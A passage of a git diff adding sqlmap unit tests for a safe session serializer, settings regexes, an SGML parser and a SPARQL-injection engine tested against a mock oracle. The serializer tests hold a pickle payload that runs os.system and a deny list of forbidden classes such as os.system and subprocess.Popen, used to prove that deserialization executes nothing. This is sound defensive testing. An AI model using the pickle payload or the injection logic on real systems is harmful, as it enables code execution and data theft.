no duplicate table under any found column + foundCols = conf.dumper.dbColumnsArg[0] + for _dbmap in foundCols.values(): + for _tbls in _dbmap.values(): + self.assertEqual(len(_tbls), len(set(_tbls))) + + def test_search_column_mysql_lt5_bruteforce_decline(self): + s = _TestSearchInf() + conf.col = "password" + conf.db = None + conf.tbl = None + kb.data.has_information_schema = False + smod.readInput = lambda *a, **k: "N" + smod.inject.getValue = lambda *a, **k: self.fail("bruteforce decline must not query") + # Declining returns None and never reaches dbColumns. + self.assertIsNone(s.searchColumn()) + self.assertIsNone(conf.dumper.dbColumnsArg) + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_serialize.py b/tests/test_serialize.py new file mode 100644 index 00000000000..fb7b72bcb71 --- /dev/null +++ b/tests/test_serialize.py @@ -0,0 +1,462 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Exhaustive lock on the safe (JSON-based, no code execution) serializer that backs the +session store (HashDB) and BigArray disk chunks - the replacement for the former +code-executing serializer. + +Two properties must hold forever, on BOTH Python 2.7 and 3.x: + + 1. CORRECTNESS - every value sqlmap actually persists must round-trip losslessly, with + its exact type. The historically fragile cases are covered explicitly: integer/tuple + dict keys (naive JSON turns them into strings), tuple-vs-list, set/frozenset, bytes, + the AttribDict/InjectionDict/RawPair classes and their internal state, and the native + DB-driver scalars (Decimal/datetime/...) that '-d' direct-mode output can contain. + A regression here silently corrupts a user's saved session. + + 2. SECURITY - deserialization must NEVER execute code and must reconstruct ONLY the small + explicit class allowlist. Any other class name (os.system, subprocess.Popen, eval, + lib.core.common.shellExec, ...) must be refused with a "forbidden" ValueError, and a + crafted legacy payload must fail inertly (no side effects). + +Kept deliberately verbose - each case maps to a real session/BigArray value or a real report. +""" + +import datetime +import decimal +import json +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.bigarray import BigArray +from lib.core.convert import deserializeValue, encodeBase64, getUnicode, serializeValue +from lib.core.convert import _SERIALIZE_TAG +from lib.core.datatype import AttribDict, InjectionDict, LRUDict +from lib.utils.har import RawPair +from thirdparty import six + +INTS = six.integer_types +_unichr = six.unichr + + +def rt(value): + """Full session round-trip: value -> JSON text -> value.""" + return deserializeValue(serializeValue(value)) + + +def _import_all_modules(): + """Import every sqlmap module (like --smoke-test) so class-subclass reflection sees them all.""" + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for base in ("lib", "plugins", "tamper"): + for dirpath, _, filenames in os.walk(os.path.join(root, base)): + if any(skip in dirpath for skip in ("thirdparty", "extra", "tests", "__pycache__")): + continue + for filename in filenames: + if filename.endswith(".py") and filename not in ("__init__.py", "gui.py"): + dotted = os.path.join(dirpath, filename[:-3]).replace(root + os.sep, "").replace(os.sep, ".") + try: + __import__(dotted) + except Exception: + pass # import health is --smoke-test's job; here we only need the classes that DO load + + +def _all_subclasses(cls): + for sub in cls.__subclasses__(): + yield sub + for _ in _all_subclasses(sub): + yield _ + + +class TestScalars(unittest.TestCase): + def test_simple(self): + for value in [None, True, False, 0, 1, -1, 42, 3.14, -0.5, 0.0]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored) is bool, type(value) is bool) # bool never collapses to int + + def test_big_ints(self): + for value in [2 ** 64, 2 ** 200, -(2 ** 128)]: + self.assertEqual(rt(value), value) + + def test_text(self): + # empty, ascii, non-BMP, sqlmap's reversible-codec private-use-area char, control chars + for value in [u"", u"plain", _unichr(0x2299) + u" mid " + _unichr(0xFF), + _unichr(0x1F600) if sys.maxunicode > 0xFFFF else u"x", + _unichr(0xF0055), u"tab\tnewline\nquote\"backslash\\"]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, six.text_type) + + +class TestBinary(unittest.TestCase): + def test_bytes(self): + for value in [b"", b"abc", b"\x00\x01\x02\xff\xfe", bytes(bytearray(range(256)))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytes) + + def test_bytearray(self): + value = bytearray(b"\x00binary\xff") + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, bytearray) + + def test_memoryview(self): + # some drivers (e.g. psycopg2 on py3) return memoryview for BLOB columns + restored = rt(memoryview(b"\x00\x01blob")) + self.assertEqual(bytes(restored) if isinstance(restored, (bytearray, memoryview)) else restored, b"\x00\x01blob") + + +class TestContainers(unittest.TestCase): + def test_list_nested(self): + value = [1, [2, [3, [4]]], "x", None] + self.assertEqual(rt(value), value) + + def test_tuple_preserved(self): + for value in [(), (1,), (1, 2, "x"), ((1, 2), (3,))]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, tuple) # must NOT degrade to list + + def test_tuple_not_confused_with_list(self): + restored = rt([(1, 2), [1, 2]]) + self.assertIsInstance(restored[0], tuple) + self.assertIsInstance(restored[1], list) + + def test_set_and_frozenset(self): + for value in [set(), {1, 2, 3}, {u"a", u"b"}]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, set) + fs = frozenset([1, 2]) + restored = rt(fs) + self.assertEqual(restored, fs) + self.assertIsInstance(restored, frozenset) + + +class TestDicts(unittest.TestCase): + def test_string_keys(self): + value = {u"a": 1, u"b": {u"c": [1, 2]}} + self.assertEqual(rt(value), value) + + def test_int_keys_preserved(self): + # THE landmine: naive json.dumps turns {1: ...} into {"1": ...}; injection.data is int-keyed + restored = rt({1: u"one", 2: u"two", 100: u"hundred"}) + self.assertEqual(restored, {1: u"one", 2: u"two", 100: u"hundred"}) + self.assertTrue(all(isinstance(k, INTS) for k in restored), list(restored)) + + def test_tuple_and_mixed_keys(self): + value = {(1, 2): u"tuple-key", u"s": 1, 7: u"int-key"} + restored = rt(value) + self.assertEqual(restored, value) + self.assertIn((1, 2), restored) + self.assertTrue(any(isinstance(k, INTS) and not isinstance(k, bool) for k in restored)) + + def test_empty_dict(self): + self.assertEqual(rt({}), {}) + + +class TestSqlmapTypes(unittest.TestCase): + def test_attribdict(self): + value = AttribDict() + value.foo = u"bar" + value["n"] = {u"k": [1, (2, 3)]} + restored = rt(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, u"bar") + self.assertEqual(restored["n"], {u"k": [1, (2, 3)]}) + + def test_attribdict_keycheck_flag_preserved(self): + strict = AttribDict(keycheck=True) + lax = AttribDict(keycheck=False) + self.assertTrue(rt(strict).__dict__.get("_keycheck")) + self.assertFalse(rt(lax).__dict__.get("_keycheck")) + # a lax AttribDict returns None for a missing attribute instead of raising - behaviour must survive + self.assertIsNone(rt(lax).nonexistent_attribute) + + def test_injectiondict_full(self): + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.ptype = 1 + inj.prefix = "" + inj.suffix = "" + inj.dbms = "MySQL" + inj.notes = ["note1"] + # int-keyed .data (PAYLOAD.TECHNIQUE.* are ints), each a nested AttribDict + for stype in (1, 5): + data = AttribDict() + data.title = "technique %d" % stype + data.payload = u"id=1 AND %d=%d" % (stype, stype) + data.where = 1 + data.vector = None + data.matchRatio = 0.987 + data.trueCode = 200 + data.falseCode = 500 + inj.data[stype] = data + inj.conf = AttribDict() + inj.conf.textOnly = False + + restored = rt([inj])[0] + self.assertIsInstance(restored, InjectionDict) + self.assertEqual(restored.place, "GET") + self.assertEqual(restored.parameter, "id") + self.assertEqual(restored.notes, ["note1"]) + self.assertEqual(set(restored.data.keys()), set((1, 5))) + self.assertTrue(all(isinstance(k, INTS) for k in restored.data), list(restored.data)) + self.assertIsInstance(restored.data[1], AttribDict) + self.assertEqual(restored.data[1].title, "technique 1") + self.assertEqual(restored.data[1].matchRatio, 0.987) + self.assertIsNone(restored.data[1].vector) + self.assertIsInstance(restored.conf, AttribDict) + self.assertFalse(restored.conf.textOnly) + + def test_bigarray_type_preserved(self): + # BigArray is a list subclass; it must round-trip AS a BigArray, not degrade to a plain list + restored = rt(BigArray([1, 2, (3, 4), u"x"])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, (3, 4), u"x"]) + + def test_rawpair(self): + # the class stored in a BigArray by the HAR collector + pair = RawPair(b"GET / HTTP/1.1", b"HTTP/1.1 200 OK", startTime=1.5, endTime=2.5, extendedArguments={u"k": u"v"}) + restored = rt(pair) + self.assertIsInstance(restored, RawPair) + self.assertEqual(restored.request, b"GET / HTTP/1.1") + self.assertEqual(restored.response, b"HTTP/1.1 200 OK") + self.assertEqual(restored.startTime, 1.5) + self.assertEqual(restored.extendedArguments, {u"k": u"v"}) + + +class TestDbmsScalars(unittest.TestCase): + # '-d' direct-mode query output (and dump BigArray) can hold native driver types + def test_decimal(self): + for value in [decimal.Decimal("0"), decimal.Decimal("1.50"), decimal.Decimal("-0.0001"), decimal.Decimal("123456789.987654321")]: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIsInstance(restored, decimal.Decimal) + + def test_datetime_family(self): + cases = [ + datetime.datetime(2024, 1, 2, 3, 4, 5, 6), + datetime.datetime(1970, 1, 1, 0, 0, 0), + datetime.date(1999, 12, 31), + datetime.time(23, 59, 58, 123456), + datetime.timedelta(days=3, seconds=7, microseconds=9), + datetime.timedelta(0), + ] + for value in cases: + restored = rt(value) + self.assertEqual(restored, value) + self.assertIs(type(restored), type(value)) + + +class TestRealSessionObjects(unittest.TestCase): + # the exact shapes written with serialize=True across the codebase + def test_brute_tables_columns(self): + tables = [("mydb", "users"), ("mydb", "logs")] + columns = [("mydb", "users", "id", "numeric"), ("mydb", "users", "name", "non-numeric")] + self.assertEqual(rt(tables), tables) + self.assertEqual(rt(columns), columns) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(tables))) + + def test_dynamic_markings(self): + markings = [(u"", None), (None, u""), (u"pre", u"suf")] + self.assertEqual(rt(markings), markings) + self.assertTrue(all(isinstance(_, tuple) for _ in rt(markings))) + + def test_abs_file_paths_set(self): + paths = set([u"/var/www/index.php", u"/etc/passwd"]) + restored = rt(paths) + self.assertEqual(restored, paths) + self.assertIsInstance(restored, set) # resume code does an explicit isinstance(_, set) union + + def test_kb_chars_attribdict(self): + chars = AttribDict() + chars.delimiter = u"abcdef" + chars.start = u"//start//" + chars.stop = u"//stop//" + restored = rt(chars) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.delimiter, u"abcdef") + + +class TestSecurity(unittest.TestCase): + def _forged(self, class_name): + # the raw on-wire object wrapper as a hostile session file would hold it (a plain JSON + # object tag; NOT produced via the encoder, which would re-tag a dict as a harmless map) + return json.dumps({_SERIALIZE_TAG: "o", "c": class_name, "s": {}}) + + def test_forbidden_classes_rejected(self): + for name in ("os.system", "subprocess.Popen", "builtins.eval", "__builtin__.eval", + "lib.core.common.shellExec", "lib.core.common.evaluateCode", "lib.core.common.openFile"): + try: + deserializeValue(self._forged(name)) + self.fail("class %r was NOT rejected" % name) + except ValueError as ex: + self.assertIn("forbidden", str(ex), msg="unexpected error for %r: %s" % (name, ex)) + + def test_legacy_payload_fails_inertly(self): + # an OLD session stored base64-of-pickle as TEXT; the new text reader must fail on it + # WITHOUT executing anything (and, in practice, the bumped HASHDB_MILESTONE_VALUE means such + # a value is never even looked up). Use a classic protocol-0 os.system pickle as the payload. + sentinel = os.path.join(tempfile.gettempdir(), "sqlmap_serialize_sentinel_%d" % os.getpid()) + if os.path.exists(sentinel): + os.remove(sentinel) + legacy_pickle = b"cos\nsystem\n(S'touch " + sentinel.encode("ascii", "ignore") + b"'\ntR." + legacy_stored = encodeBase64(legacy_pickle, binary=False) # exactly what old sqlmap wrote + try: + deserializeValue(legacy_stored) # base64 blob is not valid JSON -> raises + except Exception: + pass # any failure is fine; the point is no execution + self.assertFalse(os.path.exists(sentinel), "legacy payload EXECUTED (sentinel created)") + + def test_hashdb_ignores_undecodable_old_value(self): + # the belt-and-suspenders guarantee: even if an un-deserializable (e.g. legacy) value IS + # looked up, HashDB.retrieve() swallows it and returns None - a stale session never crashes + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + db = HashDB(path) + db.write("legacy", encodeBase64(b"cos\nsystem\n(S'x'\ntR.", binary=False)) # stored, NOT serialized + db.flush() + db._write_cache.clear() + db._read_cache.cache.clear() + self.assertIsNone(db.retrieve("legacy", unserialize=True)) # must be None, not an exception + db.closeAll() + finally: + if os.path.exists(path): + os.remove(path) + + def test_sqlmap_type_not_in_allowlist_fails_loud(self): + # a sqlmap-own class that is not allowlisted must raise on SERIALIZE (dev-visible), never be + # silently dropped - LRUDict lives in lib.* and is not serializable + self.assertRaises(TypeError, serializeValue, LRUDict(capacity=2)) + + def test_foreign_exotic_value_degrades_to_text(self): + # a non-sqlmap, non-handled scalar degrades to its textual form rather than crashing a session + self.assertEqual(rt(complex(1, 2)), getUnicode(complex(1, 2))) + + +class TestBigArrayDisk(unittest.TestCase): + def test_scalar_chunks_through_disk(self): + ba = BigArray(chunk_size=1) # force one chunk per item -> exercises the on-disk path + source = [] + for i in range(300): + row = (i, u"name%d" % i, decimal.Decimal("%d.25" % i), None, b"\x00\xff") + source.append(row) + ba.append(row) + self.assertGreater(len(ba.chunks), 1) + self.assertEqual(len(ba), 300) + self.assertEqual(list(ba), source) + self.assertEqual(ba[150], source[150]) + self.assertEqual(ba[-1], source[-1]) + + def test_rawpair_chunks_through_disk(self): + ba = BigArray(chunk_size=1) + for i in range(40): + ba.append(RawPair(b"REQ%d" % i, b"RESP%d" % i, startTime=float(i), endTime=float(i) + 1, extendedArguments={u"i": i})) + got = list(ba) + self.assertEqual(len(got), 40) + self.assertTrue(all(isinstance(_, RawPair) for _ in got)) + self.assertEqual(got[7].request, b"REQ7") + self.assertEqual(got[7].extendedArguments, {u"i": 7}) + + +class TestAllowlistGuard(unittest.TestCase): + """CI guard: catch a NEW class becoming serializable before it reaches a user's session.""" + + def test_allowlist_names_resolve_and_stay_in_sync(self): + # every allowlisted name must resolve to a class whose real module.qualname matches - keeps + # convert._SERIALIZE_CLASSES and convert._serializeResolveClass in lockstep (a rename/move/ + # typo of an allowlisted class fails here instead of silently at a user's session load) + from lib.core.convert import _SERIALIZE_CLASSES, _serializeResolveClass + for name in _SERIALIZE_CLASSES: + cls = _serializeResolveClass(name) + self.assertEqual("%s.%s" % (cls.__module__, cls.__name__), name) + + def test_no_undeclared_attribdict_subclass(self): + # AttribDict/InjectionDict carry the session's structured data. A NEW AttribDict subclass that + # ends up stored in the session would be REJECTED by the serializer at a user's runtime. Catch + # it here coverage-INDEPENDENTLY: import the whole tree, then require every AttribDict subclass + # to be declared serializable in convert._SERIALIZE_CLASSES. + from lib.core.convert import _SERIALIZE_CLASSES + from lib.core.datatype import AttribDict + + _import_all_modules() + + offenders = sorted(set( + "%s.%s" % (cls.__module__, cls.__name__) + for cls in _all_subclasses(AttribDict) + ) - set(_SERIALIZE_CLASSES)) + + self.assertEqual(offenders, [], ( + "undeclared AttribDict subclass(es): %s -- if stored in the session, add it to BOTH " + "convert._SERIALIZE_CLASSES and convert._serializeResolveClass (else the safe serializer " + "raises on it at a user's runtime). If it is a runtime-only registry, make it subclass a " + "plain dict instead of AttribDict (see lib.core.unescaper.Unescaper) so it never lands " + "here." % offenders + )) + + def test_known_serializable_classes_present(self): + # lock the intended set: exactly the dict-like data types plus the HAR RawPair. If this list + # legitimately grows, update it here deliberately (a conscious review point). + from lib.core.convert import _SERIALIZE_CLASSES + self.assertEqual(set(_SERIALIZE_CLASSES), set(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", + ))) + + +class TestHashDBIntegration(unittest.TestCase): + def test_write_retrieve_roundtrip(self): + from lib.utils.hashdb import HashDB + + handle, path = tempfile.mkstemp(suffix=".sqlite") + os.close(handle) + os.remove(path) + try: + inj = InjectionDict() + inj.place = "GET" + inj.parameter = "id" + inj.data[1] = AttribDict() + inj.data[1].title = "boolean-based blind" + inj.data[1].matchRatio = 0.9 + value = [inj] + + db = HashDB(path) + db.write("KB_INJECTIONS", value, serialize=True) + db.flush() + # drop the in-memory caches so retrieve() must SELECT the serialized blob back off + # disk and deserialize it (the real resume path), rather than returning a cached object + db._write_cache.clear() + db._read_cache.cache.clear() + restored = db.retrieve("KB_INJECTIONS", unserialize=True) + db.closeAll() + + self.assertIsInstance(restored, list) + self.assertIsInstance(restored[0], InjectionDict) + self.assertEqual(restored[0].place, "GET") + self.assertTrue(all(isinstance(k, INTS) for k in restored[0].data)) + self.assertEqual(restored[0].data[1].title, "boolean-based blind") + self.assertEqual(restored[0].data[1].matchRatio, 0.9) + finally: + if os.path.exists(path): + os.remove(path) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_settings_regex.py b/tests/test_settings_regex.py new file mode 100644 index 00000000000..ddfceccf75a --- /dev/null +++ b/tests/test_settings_regex.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Compiled-regex battery for lib/core/settings.py. + +settings.py defines ~40 module-level *_REGEX patterns that drive WAF/error/ +charset/IP/title detection. A bad edit to any one of them is a silent failure +(detection just stops firing). This compiles them all and pins the behavior of +the high-traffic detection patterns with positive + negative cases. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.core.settings as S +from lib.core.common import extractRegexResult + + +class TestAllRegexesCompile(unittest.TestCase): + def test_every_regex_constant_compiles(self): + names = [n for n in dir(S) if n.endswith("_REGEX")] + self.assertGreater(len(names), 20, msg="expected many *_REGEX constants") + failures = [] + for name in names: + value = getattr(S, name) + if isinstance(value, str): + # some carry a single %s placeholder (e.g. SENSITIVE_DATA_REGEX) - fill it before compiling + candidate = value.replace("%s", "X") if "%s" in value else value + try: + re.compile(candidate) + except re.error as ex: + failures.append("%s: %s" % (name, ex)) + self.assertEqual(failures, [], msg="non-compiling regexes: %s" % failures) + + +class TestDetectionPatterns(unittest.TestCase): + def test_ip_address(self): + self.assertTrue(re.search(S.IP_ADDRESS_REGEX, "connect to 192.168.0.1 now")) + self.assertFalse(re.search(S.IP_ADDRESS_REGEX, "999.999.999.999")) + + def test_permission_denied(self): + self.assertEqual(extractRegexResult(S.PERMISSION_DENIED_REGEX, "access denied for user 'x'"), + "access denied") + + def test_parameter_splitting(self): + self.assertEqual(re.split(S.PARAMETER_SPLITTING_REGEX, "a,b;c|d"), ["a", "b", "c", "d"]) + + def test_html_title(self): + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "Hello"), "Hello") + # case-insensitive tag, first-of-two wins, empty/absent -> None (probed) + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "x"), "x") + self.assertEqual(extractRegexResult(S.HTML_TITLE_REGEX, "AB"), "A") + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "")) + self.assertIsNone(extractRegexResult(S.HTML_TITLE_REGEX, "no title here")) + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sgmllib.py b/tests/test_sgmllib.py new file mode 100644 index 00000000000..4195ed8b1f2 --- /dev/null +++ b/tests/test_sgmllib.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/sgmllib.py -- the SGML/HTML parser used internally by +sqlmap for page content analysis. Exercises the parser with valid SGML/HTML +constructs and verifies the event stream. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.sgmllib import SGMLParser + + +class RecordingParser(SGMLParser): + """SGMLParser subclass that records parse events AND delegates to parent.""" + + def __init__(self): + SGMLParser.__init__(self) + self.events = [] + + def _gather_data(self): + """Extract concatenated text from data events.""" + return "".join(body for ev in self.events if ev[0] == "data" for body in (ev[1],)) + + def handle_data(self, data): + self.events.append(("data", data)) + + def handle_comment(self, data): + self.events.append(("comment", data)) + SGMLParser.handle_comment(self, data) + + def handle_decl(self, decl): + self.events.append(("decl", decl)) + + def handle_pi(self, data): + self.events.append(("pi", data)) + + def handle_charref(self, name): + self.events.append(("charref", name)) + SGMLParser.handle_charref(self, name) # do the actual conversion -> handle_data + + def handle_entityref(self, name): + self.events.append(("entityref", name)) + SGMLParser.handle_entityref(self, name) # do the actual conversion -> handle_data + + def unknown_starttag(self, tag, attrs): + self.events.append(("start", tag, attrs)) + + def unknown_endtag(self, tag): + self.events.append(("end", tag)) + + def unknown_charref(self, ref): + self.events.append(("unknown_charref", ref)) + + def unknown_entityref(self, ref): + self.events.append(("unknown_entityref", ref)) + + +class TestBasicParsing(unittest.TestCase): + def setUp(self): + self.p = RecordingParser() + + def test_plain_text(self): + self.p.feed("hello world") + self.p.close() + self.assertEqual(self.p._gather_data(), "hello world") + + def test_simple_start_and_end_tag(self): + self.p.feed("

      text

      ") + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("data", "text"), self.p.events) + self.assertIn(("end", "p"), self.p.events) + + def test_nested_tags(self): + self.p.feed("
      hello
      ") + self.p.close() + self.assertIn(("start", "div", []), self.p.events) + self.assertIn(("start", "span", []), self.p.events) + self.assertIn(("data", "hello"), self.p.events) + self.assertIn(("end", "span"), self.p.events) + self.assertIn(("end", "div"), self.p.events) + + def test_sgml_shorttag(self): + # SGML shorthand: data + self.p.feed("click') + self.p.close() + start_events = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(start_events), 1) + tag, attrs = start_events[0][1], start_events[0][2] + self.assertEqual(tag, "a") + self.assertIn(("href", "/page"), attrs) + self.assertIn(("class", "link"), attrs) + + def test_entity_reference(self): + self.p.feed("x < y & z") + self.p.close() + self.assertEqual(self.p._gather_data(), "x < y & z") + + def test_known_entityref_event(self): + self.p.feed("<") + self.p.close() + self.assertIn(("entityref", "lt"), self.p.events) + + def test_numeric_charref(self): + self.p.feed("A") + self.p.close() + self.assertEqual(self.p._gather_data(), "A") + + def test_comment(self): + self.p.feed("ab") + self.p.close() + self.assertIn(("comment", " comment "), self.p.events) + self.assertEqual(self.p._gather_data(), "ab") + + def test_doctype(self): + self.p.feed("text") + self.p.close() + # The DOCTYPE must be reported as a declaration event (proving it was + # routed through parse_declaration, not mishandled as data) ... + self.assertIn(("decl", "DOCTYPE html"), self.p.events) + # ... and the trailing text must be the only data emitted. + self.assertEqual(self.p._gather_data(), "text") + + def test_empty_input(self): + self.p.feed("") + self.p.close() + self.assertEqual(len(self.p.events), 0) + + def test_feed_in_chunks(self): + for ch in "

      abc

      ": + self.p.feed(ch) + self.p.close() + self.assertIn(("start", "p", []), self.p.events) + self.assertIn(("end", "p"), self.p.events) + self.assertEqual(self.p._gather_data(), "abc") + + def test_multiple_feeds(self): + self.p.feed("

      first

      ") + self.p.feed("

      second

      ") + self.p.close() + starts = [e for e in self.p.events if e[0] == "start"] + self.assertEqual(len(starts), 2) + self.assertEqual(self.p._gather_data(), "firstsecond") + + +class TestEntityConversion(unittest.TestCase): + def test_convert_entityref_known(self): + p = SGMLParser() + self.assertEqual(p.convert_entityref("lt"), "<") + self.assertEqual(p.convert_entityref("gt"), ">") + self.assertEqual(p.convert_entityref("amp"), "&") + self.assertEqual(p.convert_entityref("quot"), '"') + self.assertEqual(p.convert_entityref("apos"), "'") + + def test_convert_entityref_unknown(self): + p = SGMLParser() + self.assertIsNone(p.convert_entityref("unknown")) + + def test_convert_charref_valid(self): + p = SGMLParser() + self.assertEqual(p.convert_charref("65"), "A") + self.assertEqual(p.convert_charref("97"), "a") + + def test_convert_charref_invalid(self): + p = SGMLParser() + self.assertIsNone(p.convert_charref("notanumber")) + self.assertIsNone(p.convert_charref("9999")) # > 127 + + def test_convert_codepoint(self): + p = SGMLParser() + self.assertEqual(p.convert_codepoint(65), "A") + + +class TestCustomEntitydefs(unittest.TestCase): + def test_custom_entity(self): + p = RecordingParser() + p.entitydefs = dict(p.entitydefs) # shadow the shared SGMLParser class dict so 'copy' doesn't leak process-wide + p.entitydefs["copy"] = "\xa9" + p.feed("©") + p.close() + self.assertEqual(p._gather_data(), "\xa9") + + +class TestGetStarttagText(unittest.TestCase): + def test_starttag_text(self): + p = RecordingParser() + p.feed("
      text
      ") + p.close() + # get_starttag_text() must return the exact raw start-tag source, + # verbatim including the original quoting -- not a normalized form. + self.assertEqual(p.get_starttag_text(), "
      ") + + +class TestSetnomoretags(unittest.TestCase): + def test_nomoretags(self): + p = RecordingParser() + p.setnomoretags() + p.feed("

      raw text

      ") + p.close() + self.assertEqual(p._gather_data(), "

      raw text

      ") + + +class TestReset(unittest.TestCase): + def test_reset_clears_parser_state(self): + p = RecordingParser() + p.feed("

      hello

      ") + # verify rawdata is cleared after close + self.assertEqual(p.rawdata, "") + p.reset() + self.assertEqual(p.stack, []) + self.assertEqual(p.lasttag, "???") + + +class TestVerbose(unittest.TestCase): + # In this parser, `verbose` only gates the debug printing emitted by + # report_unbalanced() (an unbalanced for which an end_ + # handler exists). So a meaningful test must trigger that path and + # observe the difference on stdout. + class _Parser(SGMLParser): + def end_b(self): + pass + + def _run(self, verbose): + p = self._Parser() + p.verbose = verbose + _captured = [] + + class _Cap(object): + def write(self, s): + _captured.append(s) + + def flush(self): + pass + + _saved = sys.stdout + sys.stdout = _Cap() + try: + p.feed("
      ") # unbalanced end tag -> report_unbalanced() + p.close() + finally: + sys.stdout = _saved + return "".join(_captured) + + def test_verbose_mode_emits_debug(self): + out = self._run(1) + self.assertIn("*** Unbalanced
      ", out) + self.assertIn("*** Stack:", out) + + def test_nonverbose_mode_is_silent(self): + self.assertEqual(self._run(0), "") + + +class TestSGMLParseError(unittest.TestCase): + def test_error_class(self): + from lib.utils.sgmllib import SGMLParseError + e = SGMLParseError("test") + self.assertIsInstance(e, RuntimeError) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_sparql.py b/tests/test_sparql.py new file mode 100644 index 00000000000..a4efd84b2e7 --- /dev/null +++ b/tests/test_sparql.py @@ -0,0 +1,384 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the SPARQL injection engine. A mock oracle mirrors the boolean-blind +semantics of a real triple store (a broken-out FILTER reduced to its injected predicate), so detection, +SPARQL-only confirmation, error fingerprinting and schema-agnostic blind extraction are exercised +without a live SPARQL endpoint. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.sparql.inject as sparql +from lib.core.settings import SPARQL_ERROR_REGEX + + +# a tiny fixed graph the mock evaluates against +_TRIPLES = ( + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"), + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "luther@example.org"), + ("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"), + # every character class the transport used to mangle or the charset used to alias: + # '&' split the request, '+' arrived as a space, '"' and '\\' were holes in the bisection + ("http://example.org/edge", "http://example.org/raw", 'a&b+c"d\\e()'), +) +_PREDICATES = sorted(set(_[1] for _ in _TRIPLES)) +_OBJECTS = sorted(_[2] for _ in _TRIPLES) + + +def _bind(inner, offset): + if "COUNT(*)" in inner: + return len(_TRIPLES) + if "COUNT(DISTINCT ?p)" in inner: + return len(_PREDICATES) + if "DISTINCT ?p" in inner: + return _PREDICATES[offset] if offset < len(_PREDICATES) else None + if "SELECT ?o" in inner: + return _OBJECTS[offset] if offset < len(_OBJECTS) else None + return None + + +def _cmp(value, expr): + match = re.match(r"^\?v >= (\d+)$", expr) + if match: + return isinstance(value, int) and value >= int(match.group(1)) + match = re.match(r"^STRLEN\(STR\(\?v\)\) >= (\d+)$", expr) + if match: + return len("%s" % value) >= int(match.group(1)) + # the literal may be escaped ('\"' / '\\'), the way a real store receives it + match = re.match(r'^SUBSTR\(STR\(\?v\),(\d+),1\) >= "(\\.|.)"$', expr) + if match: + pos, ch = int(match.group(1)), match.group(2) + ch = {'\\"': '"', "\\\\": "\\"}.get(ch, ch) + text = "%s" % value + return (text[pos - 1] if pos <= len(text) else "") >= ch + return False + + +def _predicate(pred): + pred = pred.strip() + if pred in ("1=1", "(1=1)"): + return True + if pred in ("1=2", "(1=2)"): + return False + if "FILTER(!isIRI(?zo))" in pred: + return False + if pred == "EXISTS { ?zs ?zp ?zo }": + return True + match = re.match(r"^EXISTS \{ SELECT \?v WHERE \{ (.*) FILTER\((.*)\) \} \}$", pred) + if match: + inner, expr = match.group(1).strip(), match.group(2).strip() + off = re.search(r"OFFSET (\d+)", inner) + value = _bind(inner, int(off.group(1)) if off else 0) + return value is not None and _cmp(value, expr) + return False + + +def _evaluate(value): + for quote, tail in (('"', '""!="'), ("'", "''!='")): + marker, suffix = '%s || (' % quote, ') || %s' % tail + if marker in value and value.endswith(suffix): + return _predicate(value.split(marker, 1)[1][:-len(suffix)]) + match = re.match(r"^\d+ \|\| \((.*)\)$", value) # numeric / unquoted slot + if match: + return _predicate(match.group(1)) + if value.count('"') % 2 or value.rstrip().endswith(("'", ")", ".")): + return "ERROR" + return any(o == value for _s, p, o in _TRIPLES if p.endswith("name")) + + +_ROWS = "
      • luther
      " +_EMPTY = "
        " +_ERROR = "
        Parse error: Lexical error at line 1, column 42.
